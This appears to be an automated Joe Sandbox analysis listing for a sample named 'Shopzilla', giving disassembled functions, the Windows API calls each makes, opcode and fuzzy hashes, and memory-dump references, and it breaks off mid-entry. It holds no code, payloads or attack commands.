Instruction ID: e3a0ef889e5dc87bc0514a9fdd64a0375c1d3e7db907344fe032b1131548f3da
Opcode Fuzzy Hash: 368fd90eedfd105f6e7cf4481dbb639030f252f6e950ad9afae54f414a62fc57
Instruction Fuzzy Hash: E2515871218204AFC714EF68D891F6EB7E8FF84304F50896EF59687292DB70E904CB52

Function 00C0EA21 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00C0EACF
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 00C0EAF8
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00C0EB37

Part of subcall function 00BA4D37: __itow.LIBCMT ref: 00BA4D62
Part of subcall function 00BA4D37: __swprintf.LIBCMT ref: 00BA4DAC

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00C0EB5C
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00C0EB64

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: b3241c99f3c679232e8ddaf0c6b75d4c74bc90914e00e1fe68a05f539adb7fb4
Instruction ID: c26944e702dd36cd6b86154c9c8ec6a67795e4b4552731b6aecdd0de7aa3c676
Opcode Fuzzy Hash: b3241c99f3c679232e8ddaf0c6b75d4c74bc90914e00e1fe68a05f539adb7fb4
Instruction Fuzzy Hash: FC514E35A04505DFCB11EF64C981EAEBBF5EF49310B1484A9E849AB361CB31ED51DF60

Function 00C2A443 Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35602fc15a8a3167b8f1b799d93f33340d0d67db22298c103209125c72ade870
Instruction ID: 546ada9fe12bdad431d1a6c32661e8c6a3ad72efb74df4cbcc4691a8b56ddc73
Opcode Fuzzy Hash: 35602fc15a8a3167b8f1b799d93f33340d0d67db22298c103209125c72ade870
Instruction Fuzzy Hash: AA41D736904624AFC724DF28EC48FAABBB5FB09310F141165F825E76D1D7B09E40DB91

Function 00BA2714 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00BA2727
ScreenToClient.USER32(00C667B0,?), ref: 00BA2744
GetAsyncKeyState.USER32(00000001), ref: 00BA2769
GetAsyncKeyState.USER32(00000002), ref: 00BA2777

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 3ae8f9ad000c2210108e18e14213c73ae1a3eae562154898d97e5c62e3da3a3f
Instruction ID: cbee1b5915be0beaa161eff6cb45b08ea47000b553e4de6c6ea9524ac431e642
Opcode Fuzzy Hash: 3ae8f9ad000c2210108e18e14213c73ae1a3eae562154898d97e5c62e3da3a3f
Instruction Fuzzy Hash: 0F413275508116FFDF159FA8C884AE9FBB4FB06320F20439AF82996290D730AE50DF91

Function 00BF93BA Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00BF93CB
PostMessageW.USER32(?,00000201,00000001), ref: 00BF9475
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00BF947D
PostMessageW.USER32(?,00000202,00000000), ref: 00BF948B
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00BF9493

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: de270379ff47050bad2fdef24d000305d2e02e6191b7844d3cbc3c75525fcdef
Instruction ID: a9c22b3f00f6859bddda6a88cbcf031fd6d1412599c1ca4aebc8c445d6d4083e
Opcode Fuzzy Hash: de270379ff47050bad2fdef24d000305d2e02e6191b7844d3cbc3c75525fcdef
Instruction Fuzzy Hash: A231DF7250021DEBDB14CFA8D949BAE3BB5EB44315F104259FA24E72D0C3B09918DB91

Function 00BFBB68 Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00BFBB80
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00BFBB9D
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00BFBBD5
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00BFBBFB
_wcsstr.LIBCMT ref: 00BFBC05

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 59e00a2855f39562b0f743f8af2c0dd5713a372148cee36051f63810de9da731
Instruction ID: 7de05ba4c3cdcd449687a18a60523cdb8fc7233fed38008879dac4bb265d88a4
Opcode Fuzzy Hash: 59e00a2855f39562b0f743f8af2c0dd5713a372148cee36051f63810de9da731
Instruction Fuzzy Hash: B621D432208208BBEB256B29DC5AF7F7BE8DF45760F1081ADF905CB191EF61DC5192A0

Function 00C2B538 Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00BA29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BA29F3

GetWindowLongW.USER32(?,000000F0), ref: 00C2B57F
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 00C2B5A4
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00C2B5BC
GetSystemMetrics.USER32(00000004), ref: 00C2B5E5
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00C11340,00000000), ref: 00C2B603

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: e73bf2a65d2df1086dabdf4a15d293a0a8d81ab590ea01c87b02f8e87a2956b6
Instruction ID: 348995902c4e3d39bf4aadea60c86554f00a5a46ebd6bf382c5ffabaccb8905d
Opcode Fuzzy Hash: e73bf2a65d2df1086dabdf4a15d293a0a8d81ab590ea01c87b02f8e87a2956b6
Instruction Fuzzy Hash: FA218371910226AFCB249F3AAC04B6A7BA5FB05721F254739F932D75E0D7309E10CB80

Function 00BF9CA2 Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00BF9CBB

Part of subcall function 00BB1821: _memmove.LIBCMT ref: 00BB185B

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00BF9CED
__itow.LIBCMT ref: 00BF9D05
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00BF9D2D
__itow.LIBCMT ref: 00BF9D3E

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: 0e252b133dd5f3dd807797449d376244d8131fc3274822b9b08ecd58f52f0935
Instruction ID: c8a65c640f9f39fdbc937ecda5bc8dbb985e7d02afba1d4f9f50dd6322844152
Opcode Fuzzy Hash: 0e252b133dd5f3dd807797449d376244d8131fc3274822b9b08ecd58f52f0935
Instruction Fuzzy Hash: DB219535700208BFDB21AA649C9AFFE7BECEB45750F2450B5FE00DB241DA7089499791

Function 00BA16CF Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00BA1729
SelectObject.GDI32(?,00000000), ref: 00BA1738
BeginPath.GDI32(?), ref: 00BA174F
SelectObject.GDI32(?,00000000), ref: 00BA1778

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: abd81f179c421f534bed69ef173813a3074d62a9499af7e718949bd1e94a8675
Instruction ID: 94c62441e9c2dace9591dc04fb90b733f842b83a3189dac8d91d9d36f0254583
Opcode Fuzzy Hash: abd81f179c421f534bed69ef173813a3074d62a9499af7e718949bd1e94a8675
Instruction Fuzzy Hash: CF217CB1904208EFDB219F3ADD44B6DBBF9FB05321F244656F811971E0D7B19891CB90

Function 00BFC61A Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00BFC62F
_memcmp.LIBCMT ref: 00BFC64D
_memcmp.LIBCMT ref: 00BFC660
_memcmp.LIBCMT ref: 00BFC678
_memcmp.LIBCMT ref: 00BFC690

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 7ab24c1f5daa7afd384008e60d978def5f904d58ccca6f5de5f8e9e9e30c5fe7
Instruction ID: 32d5de969f0ee569b5b448e57fe39433d0adf5eb8406953efd36e82767f4f7e2
Opcode Fuzzy Hash: 7ab24c1f5daa7afd384008e60d978def5f904d58ccca6f5de5f8e9e9e30c5fe7
Instruction Fuzzy Hash: 9401F96161410D7BD204A5555E82F777BCCEE61384F0054E6FE05E7242E611DE68C1A4

Function 00C04EBB Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00C04EE2
__beginthreadex.LIBCMT ref: 00C04F00
MessageBoxW.USER32(?,?,?,?), ref: 00C04F15
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00C04F2B
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00C04F32

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: d6b31174ffb9b4b353cda4985ff8bf3bdc0c211efa871b7af16b966ef80f642f
Instruction ID: 58b2678065e045d4a54bba33b1143f62f4ca24188f5ebc9dc5c2c3d1bebbd7ec
Opcode Fuzzy Hash: d6b31174ffb9b4b353cda4985ff8bf3bdc0c211efa871b7af16b966ef80f642f
Instruction Fuzzy Hash: 841104B690420ABBC7119BA99C04B9F7BACEB45324F144269F924D32A0D6B58A00C7A0

Function 00BF8C03 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00BF8C1F
GetLastError.KERNEL32(?,00BF86E3,?,?,?), ref: 00BF8C29
GetProcessHeap.KERNEL32(00000008,?,?,00BF86E3,?,?,?), ref: 00BF8C38
HeapAlloc.KERNEL32(00000000,?,00BF86E3,?,?,?), ref: 00BF8C3F
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00BF8C56

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: b1efa41b58441ca56593eebd34d49f224045d7f020ecfa5ab28c56a95166a8dc
Instruction ID: 4702419012e10d5cf7c191bd7d6f0c9e7e87a75342d19f0d83892a2682c32669
Opcode Fuzzy Hash: b1efa41b58441ca56593eebd34d49f224045d7f020ecfa5ab28c56a95166a8dc
Instruction Fuzzy Hash: F0016D71611208BFDB204FA6EC98EAF7FACEF89755B200469F948C3220DA318D14CA70

Function 00C0566C Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00C05688
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00C05696
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00C0569E
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00C056A8
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00C056E4

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 71ccccb38aba5fdd750cfd103705a4f5153bae75770356189fb1da2a891889d1
Instruction ID: 3b5606c8c6d95d2d7db6395fdcad8486679281247f5e190f36a03e81d7d9862c
Opcode Fuzzy Hash: 71ccccb38aba5fdd750cfd103705a4f5153bae75770356189fb1da2a891889d1
Instruction Fuzzy Hash: 29012D31E01A1DDBCF00AFE4D858BEEBBB8FB18711F510456E501B2290CB319550CBA1

Function 00BF7B0B Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00BF7A45,80070057,?,?,?,00BF7E56), ref: 00BF7B28
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00BF7A45,80070057,?,?), ref: 00BF7B43
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00BF7A45,80070057,?,?), ref: 00BF7B51
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00BF7A45,80070057,?), ref: 00BF7B61
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00BF7A45,80070057,?,?), ref: 00BF7B6D

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: d79268b5098ee6689908249be1b7f29a2ddd461fafaf66b91c4da4881611e4c5
Instruction ID: 9ebe6c8aa6e963576050ac4c9ae1ad3a7e85b172ffcb417f1d7327549288a352
Opcode Fuzzy Hash: d79268b5098ee6689908249be1b7f29a2ddd461fafaf66b91c4da4881611e4c5
Instruction Fuzzy Hash: 0E015A76615209BBDB114F64ED58BAE7BEDEF45752F2040A8FA08D3211EB31DD04CAA0

Function 00BF8AAA Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00BF8AC1
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00BF8ACB
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00BF8ADA
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00BF8AE1
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00BF8AF7

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 90733a4f27f37ee89cf81655d48710f343037da923c58d69d0998360cbc3b98c
Instruction ID: a4b0a17a2a01c24d5b8471fc574dafbcb4dd5c3b3820805fcf62f18b4d8ee314
Opcode Fuzzy Hash: 90733a4f27f37ee89cf81655d48710f343037da923c58d69d0998360cbc3b98c
Instruction Fuzzy Hash: 3BF0AF72210208AFEB100FA89CCDF7B3BACEF49759B200059FA44C3150CA62DC04DB60

Function 00BF8B0B Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00BF8B22
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00BF8B2C
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00BF8B3B
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00BF8B42
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00BF8B58

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: e975d4905c96f957d595d2ed7eb6376b9f759462133169e47675af936834bcc4
Instruction ID: c26f34b7b42cbf56158e07c354c0327b9b32bcbdc14b0f2548d5a45f63dfd0c3
Opcode Fuzzy Hash: e975d4905c96f957d595d2ed7eb6376b9f759462133169e47675af936834bcc4
Instruction Fuzzy Hash: 88F0AF72214208AFEB110FA4EC98F7B3BACEF49B55B2000A9FA44C7150DA61D804DB60

Function 00BFCB5F Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00BFCB73
GetWindowTextW.USER32(00000000,?,00000100), ref: 00BFCB8A
MessageBeep.USER32(00000000), ref: 00BFCBA2
KillTimer.USER32(?,0000040A), ref: 00BFCBBE
EndDialog.USER32(?,00000001), ref: 00BFCBD8

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 36da73588c8ed37c93a52f47e765164c96ca9d13b14e7157f229dfb6d55ed5ba
Instruction ID: 0d40d3c59337c7d85b456b6aff49696940ca73ce0f26b064918cb791f4efd984
Opcode Fuzzy Hash: 36da73588c8ed37c93a52f47e765164c96ca9d13b14e7157f229dfb6d55ed5ba
Instruction Fuzzy Hash: 3A01A73545070CABEB215B10DD5FFA67BB8FB00705F000699FA82610D2D7E069988E90

Function 00BA178C Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00BA179B
StrokeAndFillPath.GDI32(?,?,00BDBAF9,00000000,?), ref: 00BA17B7
SelectObject.GDI32(?,00000000), ref: 00BA17CA
DeleteObject.GDI32 ref: 00BA17DD
StrokePath.GDI32(?), ref: 00BA17F8

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
